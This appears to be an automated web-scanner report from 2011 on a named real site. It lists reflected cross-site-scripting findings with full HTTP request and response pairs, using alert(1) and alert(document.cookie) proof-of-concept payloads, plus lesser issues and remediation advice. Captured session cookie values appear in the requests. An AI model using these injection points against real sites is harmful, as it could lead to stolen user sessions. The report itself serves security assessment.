Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://my.supermedia.com/customersupport/index.jsp [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://my.supermedia.com
Path:
/customersupport/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33517"><script>alert(1)</script>270ee3472e7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /customersupport/index.jsp?33517"><script>alert(1)</script>270ee3472e7=1 HTTP/1.1 Host: my.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=NLFJq9n0bBhhzyJhvk4QvL8pkD21vl5vWhQzpt89hzzNngVTZQ1j!-550558129!-1173275059; s_cc=true; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660; s_sq=%5B%5BB%5D%5D; undefined_s=First%20Visit; mbox=session#1296759528614-838261#1296763713|check#true#1296761913;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:48:30 GMT Content-Length: 19431 Connection: close Content-Type: text/html; charset=ISO-8859-1 Server: Unspecified Set-Cookie: NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:56:06 GMT;path=/;httponly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/customersupport/index.jsp?33517"><script>alert(1)</script>270ee3472e7=1&print=ed"> ...[SNIP]...
1.2. http://my.supermedia.com/directoryoptout [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://my.supermedia.com
Path:
/directoryoptout
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37fe3"><script>alert(1)</script>84741f5cfde was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /directoryoptout?37fe3"><script>alert(1)</script>84741f5cfde=1 HTTP/1.1 Host: my.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:36:26 GMT Pragma: no-cache Content-Length: 24725 Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: JSESSIONID=NLD6RFdXPRTw2vwG1LgBrG7JnC27kyJ154JBgp4LL03M7ljcGhrz!-1173275059!-550558129; path=/ Cache-Control: no-store Connection: close Content-Type: text/html; charset=ISO-8859-1 Server: Unspecified Set-Cookie: NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:44:01 GMT;path=/;httponly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?37fe3"><script>alert(1)</script>84741f5cfde=1&print=ed"> ...[SNIP]...
The value of the 37fe3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E84741f5cfde request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e8cf"><script>alert(1)</script>b83041eb0df was submitted in the 37fe3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E84741f5cfde parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?37fe3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E84741f5cfde=11e8cf"><script>alert(1)</script>b83041eb0df&print=ed"> ...[SNIP]...
1.4. http://my.supermedia.com/directoryoptout/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://my.supermedia.com
Path:
/directoryoptout/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a87e3"><script>alert(1)</script>55222cbb99d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?37fe3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E84741f5cfde=1&a87e3"><script>alert(1)</script>55222cbb99d=1&print=ed"> ...[SNIP]...
1.5. http://my.supermedia.com/directoryoptout/confirm.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://my.supermedia.com
Path:
/directoryoptout/confirm.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 319e1"><script>alert(1)</script>a37efd293c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /directoryoptout/confirm.do?319e1"><script>alert(1)</script>a37efd293c2=1 HTTP/1.1 Host: my.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=NLFJq9n0bBhhzyJhvk4QvL8pkD21vl5vWhQzpt89hzzNngVTZQ1j!-550558129!-1173275059; s_cc=true; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660; s_sq=%5B%5BB%5D%5D; undefined_s=First%20Visit; mbox=session#1296759528614-838261#1296763713|check#true#1296761913;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:48:32 GMT Pragma: no-cache Content-Length: 25076 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store Connection: close Content-Type: text/html; charset=ISO-8859-1 Server: Unspecified Set-Cookie: NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:56:08 GMT;path=/;httponly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?319e1"><script>alert(1)</script>a37efd293c2=1&print=ed"> ...[SNIP]...
The value of the 37fe3%22%3E%3Cscript%3Ealert(document.cookie request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1233c"><script>alert(1)</script>6337a742d73 was submitted in the 37fe3%22%3E%3Cscript%3Ealert(document.cookie parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /directoryoptout/index.jsp?37fe3%22%3E%3Cscript%3Ealert(document.cookie1233c"><script>alert(1)</script>6337a742d73 HTTP/1.1 Host: my.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=NLFJq9n0bBhhzyJhvk4QvL8pkD21vl5vWhQzpt89hzzNngVTZQ1j!-550558129!-1173275059; s_cc=true; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660; s_sq=%5B%5BB%5D%5D; undefined_s=First%20Visit; mbox=session#1296759528614-838261#1296763713|check#true#1296761913;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:48:24 GMT Pragma: no-cache Content-Length: 24636 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store Connection: close Content-Type: text/html; charset=ISO-8859-1 Server: Unspecified Set-Cookie: NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:55:59 GMT;path=/;httponly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?37fe3%22%3E%3Cscript%3Ealert(document.cookie1233c"><script>alert(1)</script>6337a742d73&print=ed"> ...[SNIP]...
1.7. http://my.supermedia.com/directoryoptout/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://my.supermedia.com
Path:
/directoryoptout/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7cb13"><script>alert(1)</script>0d37311fbea was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /directoryoptout/index.jsp?7cb13"><script>alert(1)</script>0d37311fbea=1 HTTP/1.1 Host: my.supermedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=NLFJq9n0bBhhzyJhvk4QvL8pkD21vl5vWhQzpt89hzzNngVTZQ1j!-550558129!-1173275059; s_cc=true; campaign_track=BP%3AUpdate%20Your%20Profile%20Top; NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660; s_sq=%5B%5BB%5D%5D; undefined_s=First%20Visit; mbox=session#1296759528614-838261#1296763713|check#true#1296761913;
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 19:48:31 GMT Pragma: no-cache Content-Length: 24551 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store Connection: close Content-Type: text/html; charset=ISO-8859-1 Server: Unspecified Set-Cookie: NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660;expires=Thu, 03-Feb-2011 19:56:06 GMT;path=/;httponly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- tiles layout page => standard_page.jsp --> <!-- <html head ...[SNIP]... <a class="RightNavLink" href="http://my.supermedia.com:80/directoryoptout/index.jsp?7cb13"><script>alert(1)</script>0d37311fbea=1&print=ed"> ...[SNIP]...
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Request
GET /directoryoptout/;jsessionid=NLFJq9n0bBhhzyJhvk4QvL8pkD21vl5vWhQzpt89hzzNngVTZQ1j!-550558129!-1173275059 HTTP/1.1 Host: my.supermedia.com Proxy-Connection: keep-alive Referer: http://my.supermedia.com/directoryoptout/?37fe3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E84741f5cfde=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: campaign_track=BP%3AUpdate%20Your%20Profile%20Top; mbox=session#1296759528614-838261#1296763713|check#true#1296761913; JSESSIONID=NLFJq9n0bBhhzyJhvk4QvL8pkD21vl5vWhQzpt89hzzNngVTZQ1j!-550558129!-1173275059; NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660; s_cc=true; undefined_s=First%20Visit; s_sq=%5B%5BB%5D%5D
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /CammsServlet?assetid=198 HTTP/1.1 Host: my.supermedia.com Proxy-Connection: keep-alive Referer: http://www.supermedia.com/social-responsibility/corporate-governance Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: campaign_track=BP%3AUpdate%20Your%20Profile%20Top; mbox=session#1296759528614-838261#1296763650|check#true#1296761850; s_cc=true; undefined_s=First%20Visit; s_sq=%5B%5BB%5D%5D
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
// Adopted from The JavaScript Source!! // // http://JavaScript.Internet.com/Page-Details/Floating-Link.html // // Created By Richard Cleaver - Richard@Cleaver.Org.UK //
var FeaturedProductTop = screen.availHeight - 270 var FeaturedProductLeft = 619
The response contains the following Content-type statement:
Content-Type: image/jpeg
The response states that it contains a JPEG image. However, it actually appears to contain unrecognised content.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /includes/captcha/index.jsp HTTP/1.1 Host: my.supermedia.com Proxy-Connection: keep-alive Referer: http://my.supermedia.com/directoryoptout/?37fe3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E84741f5cfde=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: campaign_track=BP%3AUpdate%20Your%20Profile%20Top; JSESSIONID=NLD6ljxjQJDXGQgrK61P3yT1JkXkjgDLb1jBKjgFT6wzymnbnMhk!-550558129!-1173275059; mbox=session#1296759528614-838261#1296763713|check#true#1296761913; NSC_nz-tvqfsnfejb-dpn-80=ffffffff9482e55445525d5f4f58455e445a4a423660; s_cc=true; undefined_s=First%20Visit; s_sq=%5B%5BB%5D%5D